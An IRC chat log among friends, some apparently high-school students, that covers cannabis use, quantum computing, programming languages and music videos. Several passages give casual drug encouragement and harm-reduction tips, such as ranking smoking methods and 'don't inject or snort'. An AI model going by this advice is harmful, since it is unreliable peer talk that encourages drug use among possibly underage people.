[2014-11-20T01:20:36-0500] <+LittleBobbyTables> bob_twinkles: only if you get caught.
[2014-11-20T01:21:11-0500] <Tamini_> jesus
[2014-11-20T01:21:13-0500] <Tamini_> or i could yknow
[2014-11-20T01:21:16-0500] <Tamini_> just ask people I know
[2014-11-20T01:21:19-0500] <Tamini_> .-.
[2014-11-20T01:21:24-0500] <Tamini_> sounds much easier
[2014-11-20T01:21:24-0500] <~awe> Yeah, cannabis is really accessible.
[2014-11-20T01:21:34-0500] <+LittleBobbyTables> So is heroin
[2014-11-20T01:21:37-0500] <~awe> They don't even care on my campus.
[2014-11-20T01:21:43-0500] <Tamini_> heroin is a 
[2014-11-20T01:21:45-0500] <~awe> People smoke pot walking on the street.
[2014-11-20T01:21:49-0500] <Tamini_> bit less accessible
[2014-11-20T01:21:50-0500] <Tamini_> and lol
[2014-11-20T01:21:56-0500] <Tamini_> you go to a liberal arts college, awe
[2014-11-20T01:22:00-0500] <~awe> Nope.
[2014-11-20T01:22:02-0500] <Tamini_> isnt that the stereotype?
[2014-11-20T01:22:03-0500] <Tamini_> wait, what
[2014-11-20T01:22:03-0500] <~awe> It's a research university.
[2014-11-20T01:22:05-0500] <Tamini_> you don't
[2014-11-20T01:22:05-0500] <+LittleBobbyTables> Not where I live, tamini.
[2014-11-20T01:22:07-0500] <Tamini_> what
[2014-11-20T01:22:08-0500] <nezorg> it was rather funny at my first concert here
[2014-11-20T01:22:14-0500] <nezorg> the stench was nearly unbearable though
[2014-11-20T01:22:19-0500] <Tamini_> heh
[2014-11-20T01:22:39-0500] <Tamini_> bob_twinkles: Dr. Nabla is a heavy smoker, right?
[2014-11-20T01:22:56-0500] <~awe> Tamini_: Yeah, we're a University.
[2014-11-20T01:23:02-0500] <~awe> Tamini: That means we do research.
[2014-11-20T01:23:12-0500] <bob_twinkles> dell?
[2014-11-20T01:23:13-0500] <nezorg> and research requires creativity
[2014-11-20T01:23:13-0500] <bob_twinkles> probably
[2014-11-20T01:23:16-0500] <Tamini_> huh.
[2014-11-20T01:23:18-0500] <bob_twinkles> or he just doesn't sleep
[2014-11-20T01:23:18-0500] <+LittleBobbyTables> You know what can get really fun? Molly.
[2014-11-20T01:23:23-0500] <Tamini_> bob_twinkles: dell = nabla
[2014-11-20T01:23:25-0500] <~awe> nezorg: it means we're not a liberal arts college though
[2014-11-20T01:23:32-0500] <Tamini_> he smells like smoke during second period.
[2014-11-20T01:23:33-0500] <nezorg> awe: ah
[2014-11-20T01:23:36-0500] <~awe> LittleBobbyTables: So I've heard, though I've never done it myself.
[2014-11-20T01:23:36-0500] <Tamini_> that kinda
[2014-11-20T01:23:47-0500] <~awe> LittleBobbyTables: I'm all about the hallucinogenic lifestyle though.
[2014-11-20T01:23:54-0500] <Tamini_> makes me suspicious, considering he's always half an hour late to class
[2014-11-20T01:23:54-0500] <bob_twinkles> Tamini_: I can't smell anything but his coffee 'cause my nose is garbage =P
[2014-11-20T01:23:58-0500] <Tamini_> LOL
[2014-11-20T01:24:06-0500] <+LittleBobbyTables> No, bob_twinkles, your nose is normal.
[2014-11-20T01:24:07-0500] <bob_twinkles> I think he doesn't sleep any more than we  do though
[2014-11-20T01:24:08-0500] <Tamini_> in the old classroom, it was kind of an issue
[2014-11-20T01:24:12-0500] <+LittleBobbyTables> Women just have a better sense of smell.
[2014-11-20T01:24:14-0500] <Tamini_> jesus christ
[2014-11-20T01:24:21-0500] <Tamini_> did you notice how 
[2014-11-20T01:24:25-0500] <Tamini_> he got distracted mid-proof
[2014-11-20T01:24:27-0500] <+LittleBobbyTables> awe: Never done them. Seemed fun, though.
[2014-11-20T01:24:29-0500] <Tamini_> when he was explaining a problem after class
[2014-11-20T01:24:30-0500] <Tamini_> ._.
[2014-11-20T01:24:49-0500] <Tamini_> am I the only one here that's never tried it, or no?
[2014-11-20T01:24:55-0500] <~awe> Marijuana?
[2014-11-20T01:24:56-0500] <bob_twinkles> Tamini_: has he ever done a coherent proof?
[2014-11-20T01:24:58-0500] • nezorg: raises hand
[2014-11-20T01:24:59-0500] <bob_twinkles> I haven't
[2014-11-20T01:25:06-0500] <~awe> I assume LittleBobbyTables has.
[2014-11-20T01:25:15-0500] <nezorg> the brain studies are a little too scary for me
[2014-11-20T01:25:17-0500] <bob_twinkles> I really don't need anything to help me check out
[2014-11-20T01:25:20-0500] <~awe> nezorg: They're fake.
[2014-11-20T01:25:20-0500] <Tamini_> bob_twinkles: uhhh first week?
[2014-11-20T01:25:21-0500] <Tamini_> LOL
[2014-11-20T01:25:27-0500] <Tamini_> bob_twinkles: you have a point there.
[2014-11-20T01:25:39-0500] <~awe> nezorg: Really not-scientific methodologies.
[2014-11-20T01:25:39-0500] <bob_twinkles> Tamini_: you think I remember that far back?
[2014-11-20T01:25:44-0500] <nezorg> awe: eh, in any case, I can live a few more years of my life without trying it
[2014-11-20T01:25:46-0500] <Tamini_> ...good point
[2014-11-20T01:25:52-0500] <~awe> Yeah, that's fair.
[2014-11-20T01:25:56-0500] <Tamini_> nezorg: that's probably intelligent
[2014-11-20T01:26:21-0500] <bob_twinkles> smoking in general is bad juju
[2014-11-20T01:26:33-0500] <+LittleBobbyTables> Not for recreation.
[2014-11-20T01:26:35-0500] <~awe> Still, pretty much every major study on marijuana, including the one that was used as the basis for making it illegal, is trivially demonstrated as being false.
[2014-11-20T01:26:42-0500] <bob_twinkles> no matter what you're smoking
[2014-11-20T01:26:47-0500] <Tamini_> (lol)
[2014-11-20T01:26:47-0500] <bob_twinkles> no but like
[2014-11-20T01:26:50-0500] <~awe> bob_twinkles: That's why you use a vape, or a water pipe.
[2014-11-20T01:26:54-0500] <bob_twinkles> particulates fuck you up reeeeaaaalll bad
[2014-11-20T01:26:56-0500] <bob_twinkles> mmm
[2014-11-20T01:27:00-0500] <bob_twinkles> fair 'nuf
[2014-11-20T01:27:07-0500] <Tamini_> yknow
[2014-11-20T01:27:11-0500] <Tamini_> if I ever decide to do drugs
[2014-11-20T01:27:14-0500] <Tamini_> i want awe to teach me.
[2014-11-20T01:27:19-0500] <~awe> Lol.
[2014-11-20T01:27:23-0500] <~awe> Sounds good.
[2014-11-20T01:27:24-0500] <bob_twinkles> < goes to a school likely full of asbestos
[2014-11-20T01:27:27-0500] <Tamini_> LOL
[2014-11-20T01:27:29-0500] <Tamini_> oh, god
[2014-11-20T01:27:33-0500] <bob_twinkles> it was built in like the 60s
[2014-11-20T01:27:34-0500] <Tamini_> the new wing is....better...?
[2014-11-20T01:27:38-0500] <bob_twinkles> and hasn't been renovated since
[2014-11-20T01:27:40-0500] <bob_twinkles> yeah
[2014-11-20T01:27:48-0500] <Tamini_> I'm confused on 
[2014-11-20T01:27:51-0500] <Tamini_> how the new wing manages to
[2014-11-20T01:27:55-0500] <Tamini_> still look sort of old 
[2014-11-20T01:27:56-0500] <+LittleBobbyTables> Here's how you drugs: Don't inject or snort, and you'll generally be alright.
[2014-11-20T01:27:58-0500] <Tamini_> ._.
[2014-11-20T01:28:07-0500] <bob_twinkles> but the spacesuites and negative pressure bags came out =P
[2014-11-20T01:28:16-0500] <bob_twinkles> 'cause it's a school
[2014-11-20T01:28:23-0500] <bob_twinkles> if the architect knew what they were doing
[2014-11-20T01:28:31-0500] <bob_twinkles> they would be working somewhere that actually pays them
[2014-11-20T01:28:52-0500] <+LittleBobbyTables> http://www.youtube.com/attribution_link?a=NTRCNOozepA&u=%2Fwatch%3Fv%3DIRBAZJ4lF0U%26feature%3Dshare
[2014-11-20T01:28:58-0500] <Tamini_> lolol
[2014-11-20T01:29:00-0500] <+LittleBobbyTables> What a stupidly long link.
[2014-11-20T01:29:01-0500] <Tamini_> that's so true
[2014-11-20T01:30:05-0500] <~awe> Tamini_: if you ever actually smoke pot, prefer a water pipe (bong) to a pipe to a joint to a blunt.
[2014-11-20T01:30:06-0500] <bob_twinkles> wait did these people just go to their grandmothers and ask them "hey wanna smoke a bowl?"
[2014-11-20T01:30:18-0500] <Tamini_> I think so, yeah
[2014-11-20T01:30:40-0500] <alokpathy> Oh are we back to being sane?
[2014-11-20T01:30:49-0500] <alokpathy> with the nicks?
[2014-11-20T01:30:49-0500] <nezorg> Good to see I'm learning life pro tips here
[2014-11-20T01:30:49-0500] <+LittleBobbyTables> No
[2014-11-20T01:30:54-0500] <~awe> Tamini_: that's in order from least to greatest harshness of smoke.
[2014-11-20T01:30:55-0500] <+LittleBobbyTables> We all switched nicks.
[2014-11-20T01:30:57-0500] <~awe> The advice goes for all of you.
[2014-11-20T01:31:01-0500] <alokpathy> LittleBobbyTables: oh
[2014-11-20T01:31:09-0500] <bob_twinkles> or go to colorado
[2014-11-20T01:31:12-0500] <bob_twinkles> and buy THC cookies
[2014-11-20T01:31:15-0500] <Tamini_> awe is telling me how to do drugs
[2014-11-20T01:31:17-0500] <Tamini_> (lol)
[2014-11-20T01:31:19-0500] <+LittleBobbyTables> Or just like...
[2014-11-20T01:31:21-0500] <+LittleBobbyTables> Go to colorado
[2014-11-20T01:31:22-0500] <~awe> And if you can use a vape instead of any of those, do it.
[2014-11-20T01:31:24-0500] <~awe> Vapes are great.
[2014-11-20T01:31:24-0500] <+LittleBobbyTables> And breathe
[2014-11-20T01:31:26-0500] <Tamini_> on the way to defcon? :P
[2014-11-20T01:31:31-0500] <Tamini_> and LOL
[2014-11-20T01:31:36-0500] <+LittleBobbyTables> Pretty sure my idea works just as well.
[2014-11-20T01:31:53-0500] <bob_twinkles> "I didn't know you could use all your hands"
[2014-11-20T01:32:13-0500] <bob_twinkles> goddamn
[2014-11-20T01:32:38-0500] <Tamini_> jesus
[2014-11-20T01:32:49-0500] <bob_twinkles> oh god CAH
[2014-11-20T01:33:12-0500] <Tamini_> oh my god
[2014-11-20T01:33:13-0500] <Tamini_> wait
[2014-11-20T01:33:16-0500] <Tamini_> I wonder what would happen
[2014-11-20T01:33:21-0500] <Tamini_> if we tried to play that with claudia...
[2014-11-20T01:33:24-0500] <Tamini_> is that a dangerous speculation
[2014-11-20T01:33:25-0500] <Tamini_> LOL
[2014-11-20T01:33:32-0500] <alokpathy> Imma go to bed
[2014-11-20T01:33:33-0500] <bob_twinkles> she'd either get a kick out of it
[2014-11-20T01:33:34-0500] <alokpathy> 'night
[2014-11-20T01:33:36-0500] <bob_twinkles> or get really grossed out
[2014-11-20T01:33:38-0500] <bob_twinkles> 'night alokpathy 
[2014-11-20T01:33:43-0500] <Tamini_> night alokpathy <3
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[2014-11-20T01:33:52-0500] <nezorg> night
[2014-11-20T01:33:54-0500] <+LittleBobbyTables> Play what
[2014-11-20T01:34:03-0500] <+LittleBobbyTables> Oh, cards against humanity
[2014-11-20T01:34:07-0500] <~awe> Presumably while high.
[2014-11-20T01:34:14-0500] <+LittleBobbyTables> holidaybullshit.com <---relevant.
[2014-11-20T01:34:27-0500] <+LittleBobbyTables> Also, Cyanide And Happiness is much better.
[2014-11-20T01:34:41-0500] <Tamini_> lol
[2014-11-20T01:35:12-0500] <Tamini_> awe, you're so different from
[2014-11-20T01:35:13-0500] <Tamini_> everyone else I know
[2014-11-20T01:35:16-0500] <Tamini_> have I told you that befor
[2014-11-20T01:35:17-0500] <Tamini_> e
[2014-11-20T01:35:21-0500] <~awe> What do you mean?
[2014-11-20T01:35:49-0500] <Tamini_> Different
[2014-11-20T01:35:55-0500] <Tamini_> what do you want me to quantify here? :P
[2014-11-20T01:36:19-0500] <~awe> Well, different in what ways?
[2014-11-20T01:36:43-0500] <Tamini_> its hard to pinpoint specifics, but
[2014-11-20T01:36:52-0500] <Tamini_> hmm.
[2014-11-20T01:36:57-0500] <Tamini_> I actually have no idea how to phrase this
[2014-11-20T01:37:02-0500] <+LittleBobbyTables> http://i.imgur.com/PCFm6Oi.jpg
[2014-11-20T01:37:32-0500] <~awe> LittleBobbyTables: dog walks itself, solid.
[2014-11-20T01:37:44-0500] <bob_twinkles> I think what realy makes that is the fact that he's holding his own leash off the ground
[2014-11-20T01:38:04-0500] <Tamini_> lol
[2014-11-20T01:38:07-0500] <+LittleBobbyTables> Right?
[2014-11-20T01:38:57-0500] <Tamini_> that sorta
[2014-11-20T01:38:59-0500] <Tamini_> made my night
[2014-11-20T01:39:05-0500] <+LittleBobbyTables> You're welcome.
[2014-11-20T01:39:06-0500] <~awe> bob_twinkles: wouldn't want it to get dirty by dragging it on the floor.
[2014-11-20T01:39:06-0500] <Tamini_> but then everything could make my night when i'm this sleep deprived
[2014-11-20T01:39:19-0500] <~awe> Tamini_: tell me how I'm different. .-.
[2014-11-20T01:40:17-0500] <bob_twinkles> oops
[2014-11-20T01:40:24-0500] <bob_twinkles> I just got sucked in to youtube hell
[2014-11-20T01:40:45-0500] <Tamini_> lolol
[2014-11-20T01:40:59-0500] <Tamini_> you make everyone at my school seem extremely uptight
[2014-11-20T01:41:02-0500] <Tamini_> how about that? :P
[2014-11-20T01:41:14-0500] <bob_twinkles> that's 'cause most people are...
[2014-11-20T01:41:40-0500] <~awe> And I'm very not.
[2014-11-20T01:42:09-0500] <+LittleBobbyTables> Besides awe, who do you know that isn't uptight?
[2014-11-20T01:42:41-0500] <~awe> Honestly, I don't really know what anxiety feels like.
[2014-11-20T01:42:46-0500] <Tamini_> lol
[2014-11-20T01:42:50-0500] <Tamini_> awe is very chill
[2014-11-20T01:42:53-0500] <Tamini_> and I like that
[2014-11-20T01:42:55-0500] <Tamini_> I appreciate that
[2014-11-20T01:43:03-0500] <Tamini_> need more of that in my life
[2014-11-20T01:43:05-0500] <Tamini_> >.<
[2014-11-20T01:43:11-0500] <+LittleBobbyTables> smoke pot
[2014-11-20T01:43:38-0500] <Tamini_> LOL
[2014-11-20T01:43:41-0500] <Tamini_> or yknow
[2014-11-20T01:43:45-0500] <Tamini_> just chill with awe
[2014-11-20T01:43:53-0500] <~awe> The closest experience I have to legitimate anxiety is that sometimes immediately before things are announced, my heart starts to race a bit.
[2014-11-20T01:44:07-0500] <~awe> But the longest that's ever taken place is maybe 15s?
[2014-11-20T01:44:31-0500] <Tamini_> jesus christ
[2014-11-20T01:44:34-0500] <Tamini_> how do i become you
[2014-11-20T01:44:35-0500] <Tamini_> lol
[2014-11-20T01:44:52-0500] <bob_twinkles> awe: hey someone else on the nostress party boat!
[2014-11-20T01:44:55-0500] <+LittleBobbyTables> I answered this question already.
[2014-11-20T01:45:13-0500] <bob_twinkles> pot costs like $$$$ though
[2014-11-20T01:45:17-0500] <~awe> It's not that expensive.
[2014-11-20T01:45:18-0500] <Tamini_> lol yeah
[2014-11-20T01:45:26-0500] <Tamini_> bob_twinkles is basically
[2014-11-20T01:45:33-0500] <Tamini_> my in-school chillout friend
[2014-11-20T01:45:39-0500] <Tamini_> and awe is my irc chillout friend
[2014-11-20T01:45:40-0500] <~awe> It lasts you a while if you: a) use a vape, b) don't get super baked all the time, c) don't share much.
[2014-11-20T01:45:50-0500] <+LittleBobbyTables> I'm pretty sure you can find someone that'll let you mooch.
[2014-11-20T01:45:57-0500] <~awe> For example, say you just get mellowed out every day
[2014-11-20T01:46:01-0500] <~awe> and you use a vape
[2014-11-20T01:46:09-0500] <~awe> That'll last you a while.
[2014-11-20T01:46:11-0500] <Tamini_> I'm pretty sure one of my good friends' boyfriend is a dealer
[2014-11-20T01:46:13-0500] <Tamini_> .-.
[2014-11-20T01:46:20-0500] <~awe> My friend broke my vape and I'm sad. :(
[2014-11-20T01:46:25-0500] <~awe> He dropped it, and the battery broke.
[2014-11-20T01:46:32-0500] <Tamini_> aww
[2014-11-20T01:46:35-0500] <+LittleBobbyTables> Ask him
[2014-11-20T01:46:37-0500] <~awe> But I don't have the money for this shit.
[2014-11-20T01:46:40-0500] <~awe> He refused to pay me back.
[2014-11-20T01:46:59-0500] <bob_twinkles> wait don't they operate almost enteirly on fluid dynamics?
[2014-11-20T01:47:13-0500] <~awe> bob_twinkles: depends on the vape
[2014-11-20T01:47:17-0500] <bob_twinkles> like, what needs an active power source here
[2014-11-20T01:47:19-0500] <bob_twinkles> true
[2014-11-20T01:47:25-0500] <~awe> Most vapes use a battery.
[2014-11-20T01:47:36-0500] <bob_twinkles> ah
[2014-11-20T01:47:52-0500] <bob_twinkles> I'm only interested in the really nicely machined ones 'cause I don't smoke and that's some awesome metalworking
[2014-11-20T01:48:03-0500] <~awe> I have an herbal vaporizer, which means you load herb into a small heating chamber that connects to a battery.
[2014-11-20T01:48:04-0500] <+LittleBobbyTables> So what do you all think about d-wave and their quantum computer?
[2014-11-20T01:48:26-0500] <~awe> There's an atomizer at the base of the heating chamber connected to the battery that heats the entire chamber evenly when you hold the power button.
[2014-11-20T01:48:26-0500] <bob_twinkles> uh... do they have a working protype yet?
[2014-11-20T01:48:39-0500] <+LittleBobbyTables> Yeah.
[2014-11-20T01:48:51-0500] <~awe> There's some wax-based vaporizers that do some other similar-ish things, but they generally direct-heat the wax.
[2014-11-20T01:49:09-0500] <+LittleBobbyTables> Pretty sure Google bought some.
[2014-11-20T01:49:32-0500] <Tamini_> uh
[2014-11-20T01:49:35-0500] <Tamini_> LittleBobbyTables: link?
[2014-11-20T01:49:42-0500] <Tamini_> also I think we just
[2014-11-20T01:49:45-0500] <Tamini_> nailed the stereotype
[2014-11-20T01:49:49-0500] <Tamini_> weed and quantum computers
[2014-11-20T01:49:57-0500] <+LittleBobbyTables> Making sure I have the right one, first.
[2014-11-20T01:50:10-0500] <bob_twinkles> oh, it's not the "bork all the security ever" type quantum computer
[2014-11-20T01:50:45-0500] <+LittleBobbyTables> dwavesys.com is their homesite if you wanna play around
[2014-11-20T01:51:31-0500] <Tamini_> mk
[2014-11-20T01:51:33-0500] <Tamini_> lol
[2014-11-20T01:51:37-0500] <Tamini_> bob_twinkles: if we had that
[2014-11-20T01:51:42-0500] <Tamini_> we would probably know aboutit
[2014-11-20T01:51:46-0500] <Tamini_> because it would prooobably be a huge deal
[2014-11-20T01:52:23-0500] <+LittleBobbyTables> It's, at the moment, as good as a top-end desktop.
[2014-11-20T01:52:32-0500] <+LittleBobbyTables> But significantly smaller, and proof it works.
[2014-11-20T01:52:58-0500] <bob_twinkles> yeah it seems like the fab tech isn't quite there yet
[2014-11-20T01:53:38-0500] <bob_twinkles> it could be interesting to see if they can demonstrate the utility well enough that you get quantum computers as a common coprocessor
[2014-11-20T01:53:42-0500] <~awe> LittleBobbyTables: and no heating issues lol
[2014-11-20T01:53:46-0500] <bob_twinkles> CPU, GPU, and a few qbits =P
[2014-11-20T01:53:54-0500] <bob_twinkles> that would be really cool to play with....
[2014-11-20T01:53:58-0500] <+LittleBobbyTables> Considering it's in nearly 0K, I'd hope it has no heating issues.
[2014-11-20T01:54:01-0500] <~awe> OpenQL
[2014-11-20T01:54:07-0500] <~awe> Open Quantum Library
[2014-11-20T01:54:09-0500] <bob_twinkles> yes
[2014-11-20T01:54:12-0500] <bob_twinkles> want
[2014-11-20T01:54:24-0500] <~awe> LittleBobbyTables: right, runs nice and cool.
[2014-11-20T01:54:38-0500] <~awe> unlike my desktop which has something of a space-heater type effect.
[2014-11-20T01:55:00-0500] <+LittleBobbyTables> Put it in your freezer.
[2014-11-20T01:55:03-0500] <~awe> Although, admittedly, most of that is from the discrete GPU. 
[2014-11-20T01:55:27-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=sdUUx5FdySs such a sad sad sad video
[2014-11-20T01:55:40-0500] <Tamini_> openQL, omg.
[2014-11-20T01:56:08-0500] <~awe> And then the first Haskell compiler that compiles Haskell to OpenQL.
[2014-11-20T01:56:20-0500] <~awe> QHC: the Quantum Haskell Compiler
[2014-11-20T01:56:39-0500] <bob_twinkles> or an LLVM quantum backend =D
[2014-11-20T01:56:53-0500] <~awe> LLVM emits to OpenQL.
[2014-11-20T01:56:55-0500] <~awe> That'd be cool.
[2014-11-20T01:56:59-0500] <bob_twinkles> iterative code would likely be incredibly difficult to compile efficiently though
[2014-11-20T01:57:07-0500] <~awe> That's why I said Haskell, duh.
[2014-11-20T01:57:11-0500] <~awe> Functional OP.
[2014-11-20T01:57:12-0500] <bob_twinkles> something like prolog would probably would better actually
[2014-11-20T01:57:23-0500] <~awe> What about ML?
[2014-11-20T01:57:28-0500] <bob_twinkles> don't know it
[2014-11-20T01:57:43-0500] <~awe> Haskell was derived from ML-ish.
[2014-11-20T01:57:52-0500] <~awe> Nah, I see what you mean by Prolog would be good.
[2014-11-20T01:58:07-0500] <nezorg> haskell is a lot like ml except lazy and pure
[2014-11-20T01:58:14-0500] <bob_twinkles> http://en.wikipedia.org/wiki/Logic_programming
[2014-11-20T01:58:21-0500] <~awe> Oh, how about uhh...
[2014-11-20T01:58:23-0500] <bob_twinkles> ^ something in that class of languages would work nicely
[2014-11-20T01:58:30-0500] <~awe> Mercury.
[2014-11-20T01:58:47-0500] <nezorg> #tjhsst is silent
[2014-11-20T01:58:47-0500] <~awe> Mercury is a purely declarative logic language. It is related to both Prolog and Haskell. It features a strong, static, polymorphic type system, as well as a strong mode and determinism system.
[2014-11-20T01:58:51-0500] <nezorg> disappointingly
[2014-11-20T01:59:06-0500] <bob_twinkles> everyone is likely asleep or doing other things
[2014-11-20T01:59:29-0500] <+LittleBobbyTables> Say something then, nezor.
[2014-11-20T01:59:32-0500] <+LittleBobbyTables> nezorg
[2014-11-20T01:59:38-0500] <nezorg> nah
[2014-11-20T01:59:44-0500] <+LittleBobbyTables> Do it
[2014-11-20T01:59:47-0500] <+LittleBobbyTables> Be a man :^)
[2014-11-20T01:59:48-0500] <~awe> Did you know there was a time where people doing type system research were making processor architectures of lambda calculii?
[2014-11-20T02:00:08-0500] <bob_twinkles> that evidently didn't take off
[2014-11-20T02:00:13-0500] <~awe> bob_twinkles: no, they all died.
[2014-11-20T02:00:30-0500] <~awe> The architectures, not the researchers.
[2014-11-20T02:00:34-0500] <bob_twinkles> lol
[2014-11-20T02:00:35-0500] <Tamini_> I was about to say
[2014-11-20T02:00:40-0500] <Tamini_> lol
[2014-11-20T02:01:07-0500] <~awe> But yeah, so, people made stuff like System F as an architecture.
[2014-11-20T02:01:16-0500] <~awe> Actually, I'm not sure if they used typed lambda calculii or not.
[2014-11-20T02:01:19-0500] <~awe> Might've been untyped.
[2014-11-20T02:01:21-0500] <~awe> Might've been both.
[2014-11-20T02:01:23-0500] <~awe>  /shrug
[2014-11-20T02:01:33-0500] <~awe> SPJ didn't give me all the deets.
[2014-11-20T02:01:44-0500] <~awe> It was in one of the videos I watched of him talking for an hour straight.
[2014-11-20T02:02:25-0500] <~awe> I'm such a shit. I don't have class tomorrow morning. So, I'm probably just going to sleep till noon.
[2014-11-20T02:03:51-0500] <Tamini_> heh
[2014-11-20T02:03:53-0500] <Tamini_> I wish I could
[2014-11-20T02:03:53-0500] <+LittleBobbyTables> https://www.youtube.com/watch?v=_dyPeqMDDhQ -- nsfw but hilarious
[2014-11-20T02:03:57-0500] <Tamini_> ...actually, I totally could.
[2014-11-20T02:04:08-0500] <Tamini_> LittleBobbyTables: nsfw in what w?
[2014-11-20T02:04:13-0500] <Tamini_> s/w/way
[2014-11-20T02:04:32-0500] <bob_twinkles> language I'm guessing
[2014-11-20T02:04:34-0500] <bob_twinkles> yep
[2014-11-20T02:05:12-0500] <Tamini_> bob_twinkles: what do you have first?
[2014-11-20T02:05:21-0500] <bob_twinkles> geo
[2014-11-20T02:05:23-0500] <Tamini_> oh
[2014-11-20T02:05:28-0500] <Tamini_> sleepling through that might be slightly nwise
[2014-11-20T02:05:33-0500] <Tamini_> s/nwise/unwise
[2014-11-20T02:05:34-0500] <bob_twinkles> http://www.dwavesys.com/d-wave-two-system <- goddamn the superposition animation
[2014-11-20T02:05:40-0500] <bob_twinkles> I don't sleep through classes
[2014-11-20T02:05:41-0500] <bob_twinkles> much
[2014-11-20T02:05:43-0500] <~awe> LittleBobbyTables: o
[2014-11-20T02:05:56-0500] <~awe> LittleBobbyTables: This is getting me in the holiday season feels.
[2014-11-20T02:05:57-0500] <+LittleBobbyTables> o?
[2014-11-20T02:05:59-0500] <+LittleBobbyTables> lol
[2014-11-20T02:06:00-0500] <Tamini_> bob_twinkles: reeeeaally?
[2014-11-20T02:06:13-0500] <+LittleBobbyTables> Send that song to a girl, see how she reacts
[2014-11-20T02:06:18-0500] <Tamini_> awe has a girlfriend
[2014-11-20T02:06:19-0500] <Tamini_> go for it
[2014-11-20T02:06:23-0500] <+LittleBobbyTables> Do it
[2014-11-20T02:06:24-0500] <Tamini_> also 
[2014-11-20T02:06:27-0500] <Tamini_> <- girl, amused.
[2014-11-20T02:06:35-0500] <+LittleBobbyTables> Yeah but
[2014-11-20T02:06:38-0500] <~awe> These things in this song happen fairly regularly.
[2014-11-20T02:06:46-0500] <~awe> Albeit not as crassly.
[2014-11-20T02:07:22-0500] <bob_twinkles> why am I watching indie rock music videos
[2014-11-20T02:07:26-0500] <bob_twinkles> they're all really weird
[2014-11-20T02:07:30-0500] <Tamini_> link a few
[2014-11-20T02:07:39-0500] <bob_twinkles> uh...
[2014-11-20T02:07:51-0500] <~awe> I love indie rock though.
[2014-11-20T02:07:52-0500] <~awe> LittleBobbyTables: http://youtu.be/Kn-B-fSi4L4
[2014-11-20T02:07:54-0500] <bob_twinkles> https://www.youtube.com/watch?v=dCCXq9QB-dQ
[2014-11-20T02:07:58-0500] <~awe> LittleBobbyTables: get in the spirit.
[2014-11-20T02:08:04-0500] <bob_twinkles> alt-J -- Hunger of the pine
[2014-11-20T02:08:04-0500] <+LittleBobbyTables> Baymax: Oh man
[2014-11-20T02:08:04-0500] <+LittleBobbyTables> Baymax: This is a song someone would use when they're first having sex or something
[2014-11-20T02:08:06-0500] <~awe> Lol @ alt-J music videos.
[2014-11-20T02:08:10-0500] <+LittleBobbyTables> Not a worthwhile reaction :(
[2014-11-20T02:08:21-0500] <+LittleBobbyTables> Probably cause she's dating someone and lives in Vegas, though.
[2014-11-20T02:08:27-0500] <~awe> alt-J music videos never make sense.
[2014-11-20T02:08:58-0500] <bob_twinkles> !s/ videos //
[2014-11-20T02:09:01-0500] <bob_twinkles> well
[2014-11-20T02:09:12-0500] <bob_twinkles> !s/videos/videos or lyrics/
[2014-11-20T02:09:18-0500] <bob_twinkles> hmmm
[2014-11-20T02:09:37-0500] <bob_twinkles> not exactly indie, but it's in the same playlist
[2014-11-20T02:09:38-0500] <bob_twinkles> https://www.youtube.com/watch?v=MYSVMgRr6pw
[2014-11-20T02:09:44-0500] <bob_twinkles> Hozier -- Take me to church
[2014-11-20T02:09:58-0500] <bob_twinkles> https://www.youtube.com/watch?v=E8b4xYbEugo
[2014-11-20T02:10:02-0500] <+LittleBobbyTables> http://www.reddit.com/r/videos/comments/2mrv7l/nsfw_jingle_bell_rock_gone_very_wrong/
[2014-11-20T02:10:03-0500] <bob_twinkles> Big Data - "Dangerous"
[2014-11-20T02:10:06-0500] <+LittleBobbyTables> There's some great songs in that thread.
[2014-11-20T02:10:07-0500] <~awe> I like Big Data.
[2014-11-20T02:10:27-0500] <bob_twinkles> I actually hadn't heard anything of theirs before today
[2014-11-20T02:10:30-0500] <Tamini_> oh god
[2014-11-20T02:10:43-0500] <Tamini_> hmm, what playlist is this, bob_twinkles?
[2014-11-20T02:10:43-0500] <~awe> I appreciate the things you're listening to, bob_twinkles.
[2014-11-20T02:11:12-0500] <bob_twinkles> youtube mix for Alt-J's Left Hand Free
[2014-11-20T02:11:34-0500] <bob_twinkles> https://www.youtube.com/watch?v=NRWUoDpo2fo&index=1&list=RDNRWUoDpo2fo
[2014-11-20T02:11:37-0500] <bob_twinkles> ^ lowkey nsfw
[2014-11-20T02:11:47-0500] <bob_twinkles> (Alt-J -- Left Hand Free)
[2014-11-20T02:12:12-0500] <~awe> This video is complicated.
[2014-11-20T02:12:18-0500] <~awe> The Left Hand Free one.
[2014-11-20T02:12:34-0500] <~awe> Owait, no.
[2014-11-20T02:12:41-0500] <~awe> I was thinking of a different alt-J video.
[2014-11-20T02:12:48-0500] <~awe> Breezeblocks.
[2014-11-20T02:12:49-0500] <bob_twinkles> Breezeblocks?
[2014-11-20T02:12:50-0500] <bob_twinkles> yeah
[2014-11-20T02:13:01-0500] <bob_twinkles> I actually ended up watching that once twice
[2014-11-20T02:13:05-0500] <~awe> It's uhh...
[2014-11-20T02:13:06-0500] <~awe> interesting.
[2014-11-20T02:13:32-0500] <bob_twinkles> yeah I didn't figure out what was off about the videography until the end
[2014-11-20T02:13:41-0500] <bob_twinkles> and then I was like "wait shit I need to watch this again"
[2014-11-20T02:14:24-0500] <~awe> Were you saying the video for Left Hand Free is NSFW?
[2014-11-20T02:14:26-0500] <~awe> or the song?
[2014-11-20T02:14:39-0500] <bob_twinkles> I was confusing it in my head with Every Other Freckle
[2014-11-20T02:14:46-0500] <~awe> Oh, okay.
[2014-11-20T02:14:50-0500] <~awe> I haven't seen the video for that one yet.
[2014-11-20T02:14:59-0500] <bob_twinkles> https://www.youtube.com/watch?v=-mhgfXgwdls
[2014-11-20T02:15:11-0500] <bob_twinkles> that one _is_ lowkey nsfw =P
[2014-11-20T02:15:23-0500] <~awe> The video or the song?
[2014-11-20T02:15:26-0500] <bob_twinkles> video
[2014-11-20T02:16:54-0500] <~awe> You mean her butt?
[2014-11-20T02:16:58-0500] <bob_twinkles> ayup
[2014-11-20T02:17:47-0500] <bob_twinkles> alt-j is a really weird band
[2014-11-20T02:17:50-0500] <~awe> Breezeblocks is such a creepy song.
[2014-11-20T02:17:59-0500] <Tamini_> some of this stuff is
[2014-11-20T02:18:01-0500] <Tamini_> actually really nice though
[2014-11-20T02:18:20-0500] <~awe> Indie Rock. <3
[2014-11-20T02:18:39-0500] <Tamini_> Oh, wait
[2014-11-20T02:18:46-0500] <Tamini_> awe, you're the one that used to make me playlists.
[2014-11-20T02:18:53-0500] <~awe> That's me.
